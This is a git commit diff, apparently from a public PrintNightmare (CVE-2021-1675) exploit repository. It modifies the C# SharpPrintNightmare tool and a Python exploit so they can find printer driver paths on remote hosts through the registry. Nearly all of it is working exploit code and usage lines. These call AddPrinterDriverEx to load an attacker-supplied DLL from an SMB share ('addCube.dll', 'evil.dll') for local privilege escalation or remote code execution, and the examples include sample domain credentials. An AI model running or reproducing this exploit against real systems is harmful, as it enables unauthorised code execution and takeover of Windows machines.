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CVE-2021-1675
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C# Dynamic pDriverPath support

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Signed-off-by: cube0x0 <vidfelt@protonmail.com>
pull/25/merge
cube0x0 2 years ago
parent 4b2c8cf663
commit 18fde4bfec
5 changed files with 95 additions and 53 deletions
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  1. 2
      CVE-2021-1675.py
  2. BIN
      Images/impacket-mspar.PNG
  3. 6
      SharpPrintNightmare/README.md
  4. BIN
      SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
  5. 140
      SharpPrintNightmare/SharpPrintNightmare/Program.cs

2
CVE-2021-1675.py
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@ -102,7 +102,7 @@ if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
""")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')

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6
SharpPrintNightmare/README.md
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@ -4,6 +4,8 @@
New `CVE-2021-1675.py` has been uploaded which will get the same result as the C# version
No longer need to manually specify pConfigFile with C# version
### Usage
The RCE functionality might need to be executed with local administrator privileges on YOUR machine.
@ -13,10 +15,10 @@ The RCE functionality might need to be executed with local administrator privile
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.10' hackit.local domain_user Pass123
```
![](../Images/poc4.png)

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SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
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140
SharpPrintNightmare/SharpPrintNightmare/Program.cs
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@ -1,6 +1,9 @@
using System;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using Tools;
@ -17,6 +20,7 @@ namespace SharpPrintNightmare
//https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool EnumPrinterDrivers(String pName, String pEnvironment, uint level, IntPtr pDriverInfo, uint cdBuf, ref uint pcbNeeded, ref uint pcRetruned);
public struct DRIVER_INFO_2
{
public uint cVersion;
@ -46,8 +50,8 @@ namespace SharpPrintNightmare
static void Main(string[] args)
{
string dllpath;
string pDriverPath = "";
string path = null;
string computername = null;
string pDriverPath = null;
//network credentials wont be used for LPE
string domain = "NeverGonnaGiveYouUp";
string user = "NeverGonnaLetYouDown";
@ -57,72 +61,77 @@ namespace SharpPrintNightmare
{
Console.WriteLine("-Locally");
Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll");
Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'");
Console.WriteLine("-Remote using current context");
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'");
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20'");
Console.WriteLine("-Remote using runas");
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123");
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20' hackit.local domain_user Pass123");
Environment.Exit(0);
}
dllpath = args[0];
if (args.Length > 1)
if (args.Length > 2)
{
pDriverPath = args[1];
domain = args[2];
user = args[3];
password = args[4];
}
else
//runas /netonly
using (new Impersonator.Impersonation(domain, user, password))
{
DRIVER_INFO_2[] drivers = getDrivers();
foreach (DRIVER_INFO_2 driver in drivers)
if (args.Length > 1 && args.Length <= 5)
{
//Console.WriteLine(driver.pDriverPath); //debugcd
if (driver.pDriverPath.ToLower().Contains("filerepository"))
//Find remote drivers
computername = args[1];
List<string> drivers = getDrivers(computername);
pDriverPath = Path.GetDirectoryName(drivers[0]) + "\\Amd64\\UNIDRV.DLL";
if (string.IsNullOrEmpty(pDriverPath))
{
pDriverPath = driver.pDriverPath;
break;
Console.WriteLine($"[-] Specify pDriverPath manually");
Environment.Exit(1);
}
}
//could not find driver path
if (pDriverPath == "")
//if OpenRemoteBaseKey fails
else if (args.Length > 5)
{
Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....");
Console.WriteLine($"[-] Specify pDriverPath manually");
Environment.Exit(1);
pDriverPath = args[5];
}
}
Console.WriteLine($"[*] pDriverPath {pDriverPath}");
Console.WriteLine($"[*] Executing {dllpath}");
if (args.Length > 2)
{
path = args[2];
}
if (args.Length > 3)
{
domain = args[3];
user = args[4];
password = args[5];
}
//runas /netonly
using (new Impersonator.Impersonation(domain, user, password))
{
else //Find local driver
{
DRIVER_INFO_2[] drivers = getDrivers();
foreach (DRIVER_INFO_2 driver in drivers)
{
//Console.WriteLine(driver.pDriverPath); //debugcd
if (driver.pDriverPath.ToLower().Contains("filerepository"))
{
pDriverPath = driver.pDriverPath;
break;
}
}
//could not find driver path
if (string.IsNullOrEmpty(pDriverPath))
{
Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....");
Console.WriteLine($"[-] Specify pDriverPath manually");
Environment.Exit(1);
}
}
Console.WriteLine($"[*] pDriverPath {pDriverPath}");
Console.WriteLine($"[*] Executing {dllpath}");
Console.WriteLine("[*] Try 1...");
addPrinter(dllpath, pDriverPath, path);
addPrinter(dllpath, pDriverPath, computername);
Console.WriteLine("[*] Try 2...");
addPrinter(dllpath, pDriverPath, path);
addPrinter(dllpath, pDriverPath, computername);
Console.WriteLine("[*] Try 3...");
addPrinter(dllpath, pDriverPath, path);
addPrinter(dllpath, pDriverPath, computername);
}
}
static void addPrinter(string dllpath, string pDriverPath, string path = null)
static void addPrinter(string dllpath, string pDriverPath, string computername)
{
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
//DRIVER_INFO_2 Level2 = drivers[0]; // debug
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
Level2.cVersion = 3;
Level2.pConfigFile = "C:\\Windows\\System32\\winhttp.dll"; //replace kernelbase with winhttp
@ -139,7 +148,7 @@ namespace SharpPrintNightmare
Marshal.StructureToPtr(Level2, pnt, false);
//call AddPrinterDriverEx
AddPrinterDriverEx(path, 2, pnt, flags);
AddPrinterDriverEx(computername, 2, pnt, flags);
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
Marshal.FreeHGlobal(pnt);
@ -154,7 +163,7 @@ namespace SharpPrintNightmare
Marshal.StructureToPtr(Level2, pnt2, false);
//call AddPrinterDriverEx
AddPrinterDriverEx(path, 2, pnt2, flags);
AddPrinterDriverEx(computername, 2, pnt2, flags);
int errorcode = Marshal.GetLastWin32Error();
Marshal.FreeHGlobal(pnt2);
if (errorcode == 0)
@ -166,13 +175,44 @@ namespace SharpPrintNightmare
}
}
static DRIVER_INFO_2[] getDrivers(string path = null)
static List<string> getDrivers(string computername)
{
computername = computername.Trim('\\');
string driverpath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages";
List<string> drivers = new List<string>();
try
{
RegistryKey environmentKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, computername);
foreach (string subKeyName in environmentKey.OpenSubKey(driverpath).GetSubKeyNames().Where(item => item.Contains("ntprint.inf_amd64")))
{
string path;
//Console.WriteLine(subKeyName);
path = (string)environmentKey.OpenSubKey(driverpath + "\\" + subKeyName).GetValue("DriverStorePath");
//Console.WriteLine(path);
if (!String.IsNullOrEmpty(path))
{
drivers.Add(path);
}
}
environmentKey.Close();
}
catch
{
Console.WriteLine("[-] Failed to enumerate printer drivers");
Environment.Exit(1);
}
return drivers;
}
static DRIVER_INFO_2[] getDrivers()
{
uint cbNeeded = 0;
uint cReturned = 0;
//path = "\\\\192.168.1.20";
if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
if (EnumPrinterDrivers(null, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
{
//succeeds, but shouldn't, because buffer is zero (too small)!
throw new Exception("EnumPrinters should fail!");
@ -186,7 +226,7 @@ namespace SharpPrintNightmare
}
IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded);
if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
if (EnumPrinterDrivers(null, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
{
DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned];
long offset;

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